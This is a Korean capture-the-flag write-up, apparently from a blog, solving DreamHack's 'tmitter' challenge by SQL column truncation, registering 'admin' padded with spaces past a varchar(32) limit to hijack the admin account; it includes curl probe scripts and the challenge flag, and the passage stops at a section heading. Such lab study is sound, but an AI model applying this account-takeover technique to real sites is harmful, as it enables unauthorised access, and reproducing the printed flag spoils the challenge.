[๐Ÿฅˆ Silver 4] SQL ์ปฌ๋Ÿผ ํŠธ๋ ์ผ€์ด์…˜์œผ๋กœ admin ๊ณ„์ • ํƒˆ์ทจ โ€” DreamHack tmitter ํ’€์ด

2026-07-08ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 4] SQL ์ปฌ๋Ÿผ ํŠธ๋ ์ผ€์ด์…˜์œผ๋กœ admin ๊ณ„์ • ํƒˆ์ทจ โ€” DreamHack tmitter ํ’€์ด

ํŠธ์œ„ํ„ฐ ํด๋ก  tmitter ๋Š” admin ์œผ๋กœ ๋กœ๊ทธ์ธํ•ด์•ผ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜จ๋‹ค. ํšŒ์›๊ฐ€์ž… ์ค‘๋ณต ์ฒดํฌ๋Š” '์ •ํ™• ์ผ์น˜'๋งŒ ๋ง‰์ง€๋งŒ, id ์ปฌ๋Ÿผ varchar(32) ๋ฅผ ๋„˜๋Š” "admin"+๊ณต๋ฐฑ+"1" ์„ ๋„ฃ์œผ๋ฉด INSERT ๋•Œ ๋’ค๊ฐ€ ์ž˜๋ ค "admin"+๊ณต๋ฐฑ์œผ๋กœ ์ €์žฅ๋œ๋‹ค. MySQL ์€ PADSPACE ์ฝœ๋ ˆ์ด์…˜์ด๋ผ ๋ ๊ณต๋ฐฑ์„ ๋ฌด์‹œํ•ด ๋น„๊ตํ•˜๋ฏ€๋กœ ๊ทธ ๊ณ„์ •์ด ๊ณง admin ์ด ๋˜์–ด ๋กœ๊ทธ์ธยทํ”Œ๋ž˜๊ทธ ํš๋“. ๋กœ์ปฌ MariaDB ๋กœ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์žฌํ˜„ํ•˜๊ณ , ๋ผ์ด๋ธŒ์—์„œ ์ปฌ๋Ÿผ ๊ธธ์ด๊นŒ์ง€ ํ”„๋กœ๋น™ํ•ด ํ™•์ •ํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” [wargame.kr] tmitter

๋ถ„๋ฅ˜: Web (SQL ์ปฌ๋Ÿผ ํŠธ๋ ์ผ€์ด์…˜)

๋‚œ์ด๋„: ๐Ÿฅˆ Silver 4

FLAG: DH{d6a68e38dd0c0dec5130d158d10c8e329bb59e9c}


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…[wargame.kr] tmitter
๋‚œ์ด๋„๐Ÿฅˆ Silver 4
๋ถ„๋ฅ˜Web
์ œ๊ณต ํŒŒ์ผ์—†์Œ (๋ธ”๋ž™๋ฐ•์Šค)
์ŠคํƒPHP + MySQL/MariaDB
๊ตฌ์„ฑ๋กœ๊ทธ์ธ(tmitter.php) ยท ํšŒ์›๊ฐ€์ž…(join.php) ยท ํƒ€์ž„๋ผ์ธ
ํ•ต์‹ฌ ์ทจ์•ฝ์ SQL ์ปฌ๋Ÿผ ํŠธ๋ ์ผ€์ด์…˜ + PADSPACE(trailing space) ๋น„๊ต

wargame.kr ์˜ ๋ช…์ž‘ tmitter(๊ฐ€์งœ ํŠธ์œ„ํ„ฐ) ์ด์‹ ๋ฌธ์ œ๋‹ค. ์†Œ์Šค๋Š” ์•ˆ ์ฃผ๊ณ  ์„œ๋ฒ„๋งŒ ์ค€๋‹ค. admin ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ์ค€๋‹ค๋Š” ๊ฑด ๊ธˆ๋ฐฉ ๋“œ๋Ÿฌ๋‚˜๋Š”๋ฐ, ์ •์ž‘ admin ์€ ์ด๋ฏธ ์กด์žฌํ•ด์„œ ๊ทธ๋Œ€๋กœ๋Š” ๊ฐ€์ž…๋„ ๋กœ๊ทธ์ธ๋„ ์•ˆ ๋œ๋‹ค.

์ด ๋ฌธ์ œ์˜ ์žฌ๋ฏธ๋Š” "์ด๋ฏธ ์žˆ๋Š” ๊ณ„์ •์„, ๋น„๋ฐ€๋ฒˆํ˜ธ๋„ ๋ชจ๋ฅธ ์ฑ„, ์–ด๋–ป๊ฒŒ ๋‚ด ๊ฒƒ์œผ๋กœ ๋งŒ๋“œ๋А๋ƒ" ๋‹ค. ๋‹ต์€ DB๊ฐ€ ๋ฌธ์ž์—ด์„ ์ €์žฅยท๋น„๊ตํ•˜๋Š” ๋ฐฉ์‹์˜ ํ‹ˆ์— ์žˆ๋‹ค. ์ ‘์†ํ•˜๋ฉด ํ‰๋ฒ”ํ•œ ๋กœ๊ทธ์ธ ํ™”๋ฉด์ด ๋œฌ๋‹ค.

tmitter ๋ฉ”์ธ ํŽ˜์ด์ง€: ์ฃผ์†Œ์ฐฝ์— host3.dreamhack.games ๊ฐ€ ๋ณด์ด๊ณ , TMITTER is not fake twitter ๋ฐฐ๋„ˆ ์•„๋ž˜ Sign inยทSign Up ๋ฒ„ํŠผ๊ณผ ID/PS ๋กœ๊ทธ์ธ ํผ์ด ์žˆ๋‹ค
tmitter ๋ฉ”์ธ ํŽ˜์ด์ง€: ์ฃผ์†Œ์ฐฝ์— host3.dreamhack.games ๊ฐ€ ๋ณด์ด๊ณ , TMITTER is not fake twitter ๋ฐฐ๋„ˆ ์•„๋ž˜ Sign inยทSign Up ๋ฒ„ํŠผ๊ณผ ID/PS ๋กœ๊ทธ์ธ ํผ์ด ์žˆ๋‹ค

๐Ÿฆ ๋ฐฐ๊ฒฝ โ€” tmitter ์˜ ์ธ์ฆ ํ๋ฆ„

tmitter ๋Š” ์„ธ ์กฐ๊ฐ์œผ๋กœ ๋Œ์•„๊ฐ„๋‹ค.

  • join.php โ€” ํšŒ์›๊ฐ€์ž…. ๊ฐ™์€ id ๊ฐ€ ์ด๋ฏธ ์žˆ์œผ๋ฉด ๋ง‰๊ณ , ์—†์œผ๋ฉด member ํ…Œ์ด๋ธ”์— INSERT.
  • tmitter.php โ€” ๋กœ๊ทธ์ธ. id/ps ๊ฐ€ ๋งž๋Š” ํ–‰์„ ์ฐพ์•„ ์„ธ์…˜์„ ์ค€๋‹ค.
  • ํƒ€์ž„๋ผ์ธ โ€” ๋กœ๊ทธ์ธํ•œ ๊ณ„์ •์œผ๋กœ ํŠธ์œ—์„ ๋ณธ๋‹ค. admin ์œผ๋กœ ๋“ค์–ด๊ฐ€๋ฉด ์ฒซ ํŠธ์œ—์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋ฐ•ํ˜€ ์žˆ๋‹ค.

์ฆ‰ ๋ชฉํ‘œ๋Š” ๋ช…ํ™•ํ•˜๋‹ค. admin ์„ธ์…˜์„ ์–ป์–ด๋ผ. ์ •๊ณต๋ฒ•์€ ๋‘ ๊ฐˆ๋ž˜์ธ๋ฐ ๋‘˜ ๋‹ค ๋ง‰ํ˜€ ์žˆ๋‹ค.

  • admin ์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ธ๋‹ค โ†’ ๋ชจ๋ฅธ๋‹ค(๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์€ ๋น„ํ˜„์‹ค์ ).
  • admin ์œผ๋กœ ์ƒˆ๋กœ ๊ฐ€์ž…ํ•œ๋‹ค โ†’ "์ด๋ฏธ ์กด์žฌ"๋กœ ๊ฑฐ๋ถ€๋œ๋‹ค.

๊ทธ๋ž˜์„œ ์šฐํšŒ๋Š” "๊ฐ€์ž…์€ ๋˜๋Š”๋ฐ ๋กœ๊ทธ์ธ์€ admin ์œผ๋กœ ์žกํžˆ๋Š”" ์ œ3์˜ ๊ณ„์ •์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ ์—ด์‡ ๊ฐ€ MySQL ๋ฌธ์ž์—ด ์ฒ˜๋ฆฌ๋‹ค.

๐Ÿ”ฌ ์ •์ฐฐ โ€” "admin ์œผ๋กœ ๊ฐ€์ž…ํ•˜๋ผ"

ํšŒ์›๊ฐ€์ž… ํŽ˜์ด์ง€(join.php)์˜ HTML ์†Œ์Šค๋ฅผ ๋ณด๋ฉด ์ฃผ์„์— ๋Œ€๋†“๊ณ  ํžŒํŠธ๊ฐ€ ์žˆ๋‹ค: you need join with admin. ํผ์€ id(4์ž ์ด์ƒ)ยทps(7์ž ์ด์ƒ)๋ฅผ ๋ฐ›๊ณ , ํด๋ผ์ด์–ธํŠธ ๊ฒ€์ฆ์€ maxlength="32" ๋‹ค โ€” ์ด 32 ๋ฅผ ๊ธฐ์–ตํ•ด ๋‘์ž.

tmitter ํšŒ์›๊ฐ€์ž… ํŽ˜์ด์ง€: ID(at least 4char)ยทPS(at least 7char) ์ž…๋ ฅ ํผ์ด ์žˆ๊ณ , HTML ์†Œ์Šค ํ•˜๋‹จ ์ฃผ์„์— you need join with admin ์ด๋ผ๋Š” ํžŒํŠธ๊ฐ€ ์žˆ๋‹ค. ์ž…๋ ฅ์ฐฝ maxlength ๋Š” 32
tmitter ํšŒ์›๊ฐ€์ž… ํŽ˜์ด์ง€: ID(at least 4char)ยทPS(at least 7char) ์ž…๋ ฅ ํผ์ด ์žˆ๊ณ , HTML ์†Œ์Šค ํ•˜๋‹จ ์ฃผ์„์— you need join with admin ์ด๋ผ๋Š” ํžŒํŠธ๊ฐ€ ์žˆ๋‹ค. ์ž…๋ ฅ์ฐฝ maxlength ๋Š” 32

์ด์ œ ์„œ๋ฒ„๊ฐ€ ์‹ค์ œ๋กœ ์–ด๋–ป๊ฒŒ ๋ฐ˜์‘ํ•˜๋Š”์ง€ ์ง์ ‘ ์ฐ”๋Ÿฌ๋ดค๋‹ค. ์„ธ ๊ฐ€์ง€๋ฅผ ์ˆœ์„œ๋Œ€๋กœ ํ™•์ธํ–ˆ๋‹ค.

  • ํžŒํŠธ๊ฐ€ ์ •๋ง ์ฃผ์„์— ์žˆ๋Š”์ง€ (curl ๋กœ ์›๋ฌธ ํ™•์ธ).
  • admin ์œผ๋กœ ๊ฐ€์ž…ํ•˜๋ฉด ๋ง‰ํžˆ๋Š”์ง€.
  • ์ผ๋ฐ˜ ์•„์ด๋””๋Š” ์ •์ƒ ๊ฐ€์ž…๋˜๋Š”์ง€.

์ •์ฐฐ์— ์“ด ์Šคํฌ๋ฆฝํŠธ ์ „๋ฌธ๊ณผ ์‹คํ–‰ ๋ช…๋ น์€ ์ด๋ ‡๋‹ค.

์ด ๊ธ€์˜ ๋ช…๋ น์€ ๋ชจ๋‘ analysis/ ์—์„œ ์‹คํ–‰ํ•œ๋‹ค.

# analysis/cap_probe.sh
#!/usr/bin/env bash
# ์ •์ฐฐ โ€” ํžŒํŠธ์™€ ์ค‘๋ณต์ฒดํฌ ๋™์ž‘ ํ™•์ธ
BASE="http://host3.dreamhack.games:16338"
echo "== join.php ํžŒํŠธ (HTML ์ฃผ์„) =="
curl -s -m 20 "$BASE/join.php" | grep -oE '<!-- hint.*-->'
echo
echo "== 'admin' ์œผ๋กœ ๊ฐ€์ž… ์‹œ๋„ โ†’ PHP ์ค‘๋ณต์ฒดํฌ์— ๋ง‰ํž˜ =="
curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode 'id=admin' --data-urlencode 'ps=password123' | grep -oiE 'admin</b> is exist!!|is exist' | head -1
echo
echo "== ์ผ๋ฐ˜ ๊ณ„์ •(zztest99) ๊ฐ€์ž… โ†’ ์„ฑ๊ณต(๋ฉ”์ธ์œผ๋กœ redirect) =="
curl -s -m 20 -X POST "$BASE/join.php" --data-urlencode 'id=zztest99' --data-urlencode 'ps=password123' | grep -oE "window.location='./';" | head -1
echo
echo "โ†’ ์ค‘๋ณต์ฒดํฌ๋Š” '์ •ํ™•ํžˆ ์ผ์น˜'ํ•˜๋Š” id ๋งŒ ๋ง‰๋Š”๋‹ค. ์ปฌ๋Ÿผ ๊ธธ์ด ํŠธ๋ ์ผ€์ด์…˜์œผ๋กœ ์šฐํšŒ ๊ฐ€๋Šฅ."
bash cap_probe.sh

ํšŒ์›๊ฐ€์ž… ์ค‘๋ณต์ฒดํฌ ์ •์ฐฐ: join.php ์ฃผ์„์˜ you need join with admin ํžŒํŠธ, admin ์œผ๋กœ ๊ฐ€์ž… ์‹œ๋„ํ•˜๋ฉด admin is exist ๋กœ ๋ง‰ํžˆ๊ณ , ์ผ๋ฐ˜ ๊ณ„์ • zztest99 ๋Š” ๋ฉ”์ธ์œผ๋กœ redirect ๋˜๋ฉฐ ์ •์ƒ ๊ฐ€์ž…. ์ค‘๋ณต์ฒดํฌ๋Š” ์ •ํ™•ํžˆ ์ผ์น˜ํ•˜๋Š” id ๋งŒ ๋ง‰๋Š”๋‹ค
ํšŒ์›๊ฐ€์ž… ์ค‘๋ณต์ฒดํฌ ์ •์ฐฐ: join.php ์ฃผ์„์˜ you need join with admin ํžŒํŠธ, admin ์œผ๋กœ ๊ฐ€์ž… ์‹œ๋„ํ•˜๋ฉด admin is exist ๋กœ ๋ง‰ํžˆ๊ณ , ์ผ๋ฐ˜ ๊ณ„์ • zztest99 ๋Š” ๋ฉ”์ธ์œผ๋กœ redirect ๋˜๋ฉฐ ์ •์ƒ ๊ฐ€์ž…. ์ค‘๋ณต์ฒดํฌ๋Š” ์ •ํ™•ํžˆ ์ผ์น˜ํ•˜๋Š” id ๋งŒ ๋ง‰๋Š”๋‹ค

์ง์ ‘ ์ฐ”๋Ÿฌ๋ณธ ๋ช…๋ น์€ ์ด๋ ‡๋‹ค.

BASE="http://host3.dreamhack.games:PORT"
 
# ํžŒํŠธ ์ฃผ์„ ํ™•์ธ
curl -s "$BASE/join.php" | grep -oE '<!-- hint.*-->'
# <!-- hint : you need join with admin -->
 
# admin ์œผ๋กœ ๊ฐ€์ž… โ†’ ๊ฑฐ๋ถ€
curl -s -X POST "$BASE/join.php" --data-urlencode 'id=admin' --data-urlencode 'ps=password123' | grep -o 'is exist'
# is exist
 
# ์ผ๋ฐ˜ ์•„์ด๋”” โ†’ ๊ฐ€์ž… ์„ฑ๊ณต(๋ฉ”์ธ์œผ๋กœ redirect)
curl -s -X POST "$BASE/join.php" --data-urlencode 'id=zztest99' --data-urlencode 'ps=password123' | grep -o "window.location='./';"
# window.location='./';

๊ฒฐ๊ณผ๊ฐ€ ๊ฐˆ๋ ธ๋‹ค. admin ์€ "admin is exist!!" ๋กœ ๊ฑฐ๋ถ€๋˜๊ณ , zztest99 ๊ฐ™์€ ํ‰๋ฒ”ํ•œ ์•„์ด๋””๋Š” ๋ฉ”์ธ์œผ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋˜๋ฉฐ ๊ฐ€์ž…๋œ๋‹ค. ์„œ๋ฒ„๊ฐ€ ๊ฐ€์ž… ์‹œ SELECT ... WHERE id='$id' ๋กœ ์ค‘๋ณต์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ ๊ด€์ฐฐ. ์ด ์ค‘๋ณต ์ฒดํฌ๋Š” ์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด๊ณผ "์ •ํ™•ํžˆ ๊ฐ™์€" id ๋งŒ ๋ง‰๋Š”๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด DB์—๋Š” admin ์œผ๋กœ ์ €์žฅ๋˜์ง€๋งŒ, ์ค‘๋ณต ์ฒดํฌ ์‹œ์ ์—๋Š” admin ๊ณผ ๋‹ฌ๋ผ ๋ณด์ด๋Š” ๋ฌธ์ž์—ด์„ ๋„ฃ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด? ๊ทธ๊ฒŒ ์ด ๋ฌธ์ œ์˜ ๊ธ‰์†Œ๋‹ค.

๐Ÿงฑ ๋ฐฐ๊ฒฝ โ€” MySQL ์ด ๋ฌธ์ž์—ด์„ ์ €์žฅยท๋น„๊ตํ•˜๋Š” ๋ฐฉ์‹

์šฐํšŒ๋ฅผ ์ดํ•ดํ•˜๋ ค๋ฉด MySQL(์—ฌ๊ธฐ์„  MariaDB) ์˜ ๋‘ ๊ฐ€์ง€ ์„ฑ์งˆ์„ ์•Œ์•„์•ผ ํ•œ๋‹ค. ๋‘˜ ๋‹ค "์ง๊ด€๊ณผ ์–ด๊ธ‹๋‚˜์„œ" ์ทจ์•ฝ์ ์ด ๋œ๋‹ค.

โ‘  PADSPACE โ€” ๋ ๊ณต๋ฐฑ์„ ๋ฌด์‹œํ•˜๋Š” ๋น„๊ต

MySQL ์˜ CHAR/VARCHAR ๋Š” ๊ธฐ๋ณธ ์ฝœ๋ ˆ์ด์…˜(utf8mb4_general_ci ๋“ฑ, ์ด๋ฆ„ ๋์ด _ci)์ด PADSPACE ๋‹ค. = ๋น„๊ต๋ฅผ ํ•  ๋•Œ ์งง์€ ์ชฝ์„ ๊ณต๋ฐฑ์œผ๋กœ ํŒจ๋”ฉํ•ด ๊ธธ์ด๋ฅผ ๋งž์ถ˜ ๋’ค ๋น„๊ตํ•œ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ๋์— ๋ถ™์€ ๊ณต๋ฐฑ์€ ๋น„๊ต์—์„œ ๋ฌด์‹œ๋œ๋‹ค.

PADSPACE ๋น„๊ต ์›๋ฆฌ๋„: MySQL ์€ CHARยทVARCHAR ๋น„๊ต ์‹œ ์งง์€ ์ชฝ์„ ๊ณต๋ฐฑ์œผ๋กœ ํŒจ๋”ฉํ•œ๋‹ค. admin ๊ณผ admin+๊ณต๋ฐฑ๋“ค ์€ ๋ชจ๋“  ์ž๋ฆฌ๊ฐ€ ์ผ์น˜ํ•ด ๊ฐ™์Œ(1), ํ•˜์ง€๋งŒ admin ๊ณผ admin+๊ณต๋ฐฑ๋“ค+1 ์€ ๋งˆ์ง€๋ง‰ 1 ์ด ๊ณต๋ฐฑ ํŒจ๋”ฉ๊ณผ ๋‹ฌ๋ผ ๋ถˆ์ผ์น˜(0). ๊ทธ๋ž˜์„œ admin+๊ณต๋ฐฑ+1 ์€ ์ค‘๋ณต์ฒดํฌ๋Š” ํ†ต๊ณผํ•˜๊ณ  ์ €์žฅ ํ›„์—” admin ์ด ๋œ๋‹ค
PADSPACE ๋น„๊ต ์›๋ฆฌ๋„: MySQL ์€ CHARยทVARCHAR ๋น„๊ต ์‹œ ์งง์€ ์ชฝ์„ ๊ณต๋ฐฑ์œผ๋กœ ํŒจ๋”ฉํ•œ๋‹ค. admin ๊ณผ admin+๊ณต๋ฐฑ๋“ค ์€ ๋ชจ๋“  ์ž๋ฆฌ๊ฐ€ ์ผ์น˜ํ•ด ๊ฐ™์Œ(1), ํ•˜์ง€๋งŒ admin ๊ณผ admin+๊ณต๋ฐฑ๋“ค+1 ์€ ๋งˆ์ง€๋ง‰ 1 ์ด ๊ณต๋ฐฑ ํŒจ๋”ฉ๊ณผ ๋‹ฌ๋ผ ๋ถˆ์ผ์น˜(0). ๊ทธ๋ž˜์„œ admin+๊ณต๋ฐฑ+1 ์€ ์ค‘๋ณต์ฒดํฌ๋Š” ํ†ต๊ณผํ•˜๊ณ  ์ €์žฅ ํ›„์—” admin ์ด ๋œ๋‹ค

๊ทธ๋ž˜์„œ ์ด๋Ÿฐ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

  • 'admin' = 'admin ' โ†’ ์ฐธ(1). ๋ ๊ณต๋ฐฑ๋งŒ ๋‹ค๋ฅด๋‹ˆ ๊ฐ™๋‹ค๊ณ  ๋ณธ๋‹ค.
  • 'admin' = 'admin 1' โ†’ ๊ฑฐ์ง“(0). ๋งˆ์ง€๋ง‰ 1 ์€ ๊ณต๋ฐฑ์ด ์•„๋‹ˆ๋ผ ์ง„์งœ๋กœ ๋‹ค๋ฅด๋‹ค.

์ด ๋น„๋Œ€์นญ์ด ํ•ต์‹ฌ์ด๋‹ค. admin ๋’ค์— ๊ณต๋ฐฑ๋“ค + ์ง„์งœ ๊ธ€์ž ํ•˜๋‚˜(1) ๋ฅผ ๋ถ™์ด๋ฉด, ์ค‘๋ณต ์ฒดํฌ(= 'admin 1')๋Š” ํ†ต๊ณผํ•˜์ง€๋งŒ, ๋งŒ์•ฝ ๊ทธ 1 ์„ ์–ด๋–ป๊ฒŒ๋“  ์—†์•จ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ €์žฅ๋œ ๊ฐ’์€ admin(+๊ณต๋ฐฑ)์ด ๋˜์–ด = 'admin' ์ด ์ฐธ์ด ๋œ๋‹ค.

โ‘ก ์ปฌ๋Ÿผ ํŠธ๋ ์ผ€์ด์…˜ โ€” ์ดˆ๊ณผ๋ถ„์„ ์กฐ์šฉํžˆ ์ž˜๋ผ ์ €์žฅ

๊ทธ 1 ์„ ์—†์•  ์ฃผ๋Š” ๊ฒŒ ๋‘ ๋ฒˆ์งธ ์„ฑ์งˆ์ด๋‹ค. id ์ปฌ๋Ÿผ์ด varchar(N) ์ด๋ฉด, ๊ทธ๋ณด๋‹ค ๊ธด ๋ฌธ์ž์—ด์„ INSERT ํ•  ๋•Œ ๋น„์—„๊ฒฉ(non-strict) ๋ชจ๋“œ์—์„œ๋Š” ์—๋Ÿฌ ์—†์ด ๋’ค๋ฅผ ์ž˜๋ผ ์ €์žฅํ•œ๋‹ค. ์˜ˆ์ „ PHP/MySQL ์Šคํƒ์˜ ๊ธฐ๋ณธ๊ฐ’์ด ์ด ๋น„์—„๊ฒฉ ๋ชจ๋“œ์˜€๋‹ค.

์ฆ‰ admin + ๊ณต๋ฐฑ ์—ฌ๋Ÿฌ ๊ฐœ + 1 ์„, ์ปฌ๋Ÿผ ๊ธธ์ด๋ณด๋‹ค ๊ธธ๊ฒŒ ๋งŒ๋“ค์–ด ๋„ฃ์œผ๋ฉด:

  • ์ค‘๋ณต ์ฒดํฌ: ์ „์ฒด ๋ฌธ์ž์—ด(admin ... 1)๋กœ ์กฐํšŒ โ†’ ๋์˜ 1 ๋•Œ๋ฌธ์— ๊ธฐ์กด admin ๊ณผ ๋ถˆ์ผ์น˜ โ†’ ํ†ต๊ณผ.
  • INSERT: ์ปฌ๋Ÿผ ๊ธธ์ด๋กœ ์ž˜๋ฆผ โ†’ 1 ์ด ์ž˜๋ ค ๋‚˜๊ฐ€๊ณ  admin + ๊ณต๋ฐฑ ๋งŒ ์ €์žฅ.
  • ๊ฒฐ๊ณผ: ์ €์žฅ๋œ ๊ฐ’์€ PADSPACE ๋น„๊ต์—์„œ admin ๊ณผ ๊ฐ™์€, "๋˜ ํ•˜๋‚˜์˜ admin" ์ด ๋œ๋‹ค.

โ‘ข ์ด ๊ณต๊ฒฉ์˜ ๊ณ„๋ณด โ€” SQL Column Truncation

์ด๊ฑด tmitter ๋งŒ์˜ ํŠธ๋ฆญ์ด ์•„๋‹ˆ๋ผ SQL Column Truncation ์ด๋ผ๋Š” ์•Œ๋ ค์ง„ ์ทจ์•ฝ์  ํด๋ž˜์Šค๋‹ค. "ํšŒ์›๊ฐ€์ž…์—์„œ ๊ด€๋ฆฌ์ž ๊ณ„์ •๊ณผ ๊ฐ™์€ ์ด๋ฆ„์„ ๋งŒ๋“ค์–ด ๊ถŒํ•œ์„ ๊ฐ€๋กœ์ฑ„๋Š”" ํŒจํ„ด์œผ๋กœ, ๊ณผ๊ฑฐ ์‹ค์ œ ์›น์•ฑ(๊ตฌ๋ฒ„์ „ ์›Œ๋“œํ”„๋ ˆ์Šค๋ฅ˜ ๊ฒŒ์‹œํŒยทPHP ํšŒ์›์ œ ์‚ฌ์ดํŠธ)์—์„œ๋„ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ๊ด€๋ฆฌ์ž ๊ณ„์ •์ด ํƒˆ์ทจ๋๋‹ค. ๋ฟŒ๋ฆฌ๋Š” "์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ฒ€์‚ฌํ•œ ๋ฌธ์ž์—ด"๊ณผ "DB์— ์‹ค์ œ๋กœ ์ €์žฅยท๋น„๊ต๋˜๋Š” ๋ฌธ์ž์—ด"์ด ๋‹ฌ๋ผ์ง€๋Š” ๋ฐ ์žˆ๋‹ค.

๋ฌธ์ž์—ด ํƒ€์ž…๋ณ„๋กœ ๋ ๊ณต๋ฐฑ ์ฒ˜๋ฆฌ๊ฐ€ ์กฐ๊ธˆ์”ฉ ๋‹ค๋ฅธ ๊ฒƒ๋„ ์•Œ์•„๋‘˜ ๋งŒํ•˜๋‹ค.

  • CHAR(N) โ€” ์ €์žฅ ์‹œ ํ•ญ์ƒ ๊ณต๋ฐฑ์œผ๋กœ ์˜ค๋ฅธ์ชฝ์„ ์ฑ„์šฐ๊ณ , ์ฝ์„ ๋•Œ ๋ ๊ณต๋ฐฑ์„ ๋–ผ๋ฉฐ, ๋น„๊ต๋Š” PADSPACE.
  • VARCHAR(N)ยทTEXT โ€” ์ €์žฅ์€ ๋„ฃ์€ ๊ทธ๋Œ€๋กœ์ง€๋งŒ, ๊ธฐ๋ณธ ์ฝœ๋ ˆ์ด์…˜(*_ci, *_general_ci)์ด PADSPACE ๋ผ = ๋น„๊ต์—์„œ๋Š” ๋ ๊ณต๋ฐฑ์„ ๋ฌด์‹œํ•œ๋‹ค.
  • ๋‹จ LIKE ๋Š” ์˜ˆ์™ธ โ€” 'admin' LIKE 'admin ' ๋Š” ๊ฑฐ์ง“์ด๋‹ค. LIKE ๋Š” ๊ณต๋ฐฑ์„ ์œ ์˜๋ฏธํ•˜๊ฒŒ ๋ณธ๋‹ค. ๊ทธ๋ž˜์„œ ๋กœ๊ทธ์ธ ์ฟผ๋ฆฌ๊ฐ€ = ๊ฐ€ ์•„๋‹ˆ๋ผ LIKE ์˜€๋‹ค๋ฉด ์ด ์šฐํšŒ๋Š” ํ†ตํ•˜์ง€ ์•Š์•˜์„ ๊ฒƒ์ด๋‹ค.

์ฆ‰ ์ด ๋ฌธ์ œ๋Š” varchar(32) + ๋น„์—„๊ฒฉ ๋ชจ๋“œ + = ๋น„๊ต๋ผ๋Š” ์กฐํ•ฉ์ด ๋งž์•„๋–จ์–ด์ ธ ์„ฑ๋ฆฝํ•œ๋‹ค. ์„ธ ์กฐ๊ฑด ์ค‘ ํ•˜๋‚˜๋งŒ ์–ด๊ธ‹๋‚˜๋„ ๋ง‰ํžŒ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•ด ๋‘๋ฉด ๋ฐฉ์–ด์—๋„ ๊ทธ๋Œ€๋กœ ์“ฐ์ธ๋‹ค.

๐Ÿ› ์‚ฝ์งˆ ๊ธฐ๋ก

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” ๊ณต๋ฐฑ์„ ๋ช‡ ๊ฐœ ๋„ฃ์–ด์•ผ ํ•˜๋‚˜ (์ปฌ๋Ÿผ ๊ธธ์ด๋ฅผ ๋ชจ๋ฆ„)

์†Œ์Šค๊ฐ€ ์—†์œผ๋‹ˆ id ์ปฌ๋Ÿผ์˜ ์ •ํ™•ํ•œ ๊ธธ์ด N ์„ ์•Œ ์ˆ˜ ์—†์—ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์„ฑ๋ฆฝํ•˜๋ ค๋ฉด ๋‘ ์กฐ๊ฑด์„ ๋™์‹œ์— ๋งŒ์กฑํ•ด์•ผ ํ•œ๋‹ค.

  1. ๊ฐ€์ž… ๋ฌธ์ž์—ด์ด ์ปฌ๋Ÿผ ๊ธธ์ด๋ณด๋‹ค ๊ธธ์–ด์•ผ INSERT ๋•Œ ์ž˜๋ฆฐ๋‹ค. ์•ˆ ๊ทธ๋Ÿฌ๋ฉด admin...1 ์ด ๊ทธ๋Œ€๋กœ ์ €์žฅ๋ผ admin ๊ณผ ๋‹ค๋ฅธ ๊ณ„์ •์ด ๋˜์–ด ๋ฒ„๋ฆฐ๋‹ค.
  2. ์ž˜๋ฆฐ ๊ฒฐ๊ณผ๊ฐ€ admin + ๊ณต๋ฐฑ๋งŒ ๋‚จ์•„์•ผ ํ•œ๋‹ค. admin ๊ณผ ๋งˆ์ง€๋ง‰ 1 ์‚ฌ์ด์— ๋‹ค๋ฅธ ๊ธ€์ž๊ฐ€ ๋ผ๋ฉด ์ž˜๋ฆฐ ๋’ค์—๋„ = 'admin' ์ด ์•ˆ ๋œ๋‹ค.

๊ทธ๋ž˜์„œ admin ๊ณผ 1 ์‚ฌ์ด๋ฅผ ์ „๋ถ€ ๊ณต๋ฐฑ์œผ๋กœ ์ฑ„์› ๋‹ค. ์ด๋Ÿฌ๋ฉด ์ปฌ๋Ÿผ ๊ธธ์ด๊ฐ€ 5 ์ด์ƒ์ด๊ณ  ๋‚ด ๋ฌธ์ž์—ด๋ณด๋‹ค ์งง๊ธฐ๋งŒ ํ•˜๋ฉด, ์–ด๋””์„œ ์ž˜๋ฆฌ๋“  ๋‚จ๋Š” ๊ฑด admin + ๊ณต๋ฐฑ๋ฟ์ด๋‹ค. ๊ธธ์ด๋ฅผ ๋ชฐ๋ผ๋„ ๋˜๋Š” ์•ˆ์ „ํ•œ ํŽ˜์ด๋กœ๋“œ๋‹ค. ์ฒ˜์Œ์—” ๋„‰๋„‰ํ•˜๊ฒŒ ๊ณต๋ฐฑ 250๊ฐœ๋ฅผ ์ผ๊ณ (์ด 256์ž), ๋‚˜์ค‘์— ์•„๋ž˜์ฒ˜๋Ÿผ ์ •ํ™•ํ•œ ์ปฌ๋Ÿผ ๊ธธ์ด๋ฅผ ํ”„๋กœ๋น™ํ•ด ํ™•์ธํ–ˆ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” ๋งˆ์ง€๋ง‰ '1' ์€ ์™œ ๊ผญ ํ•„์š”ํ•œ๊ฐ€

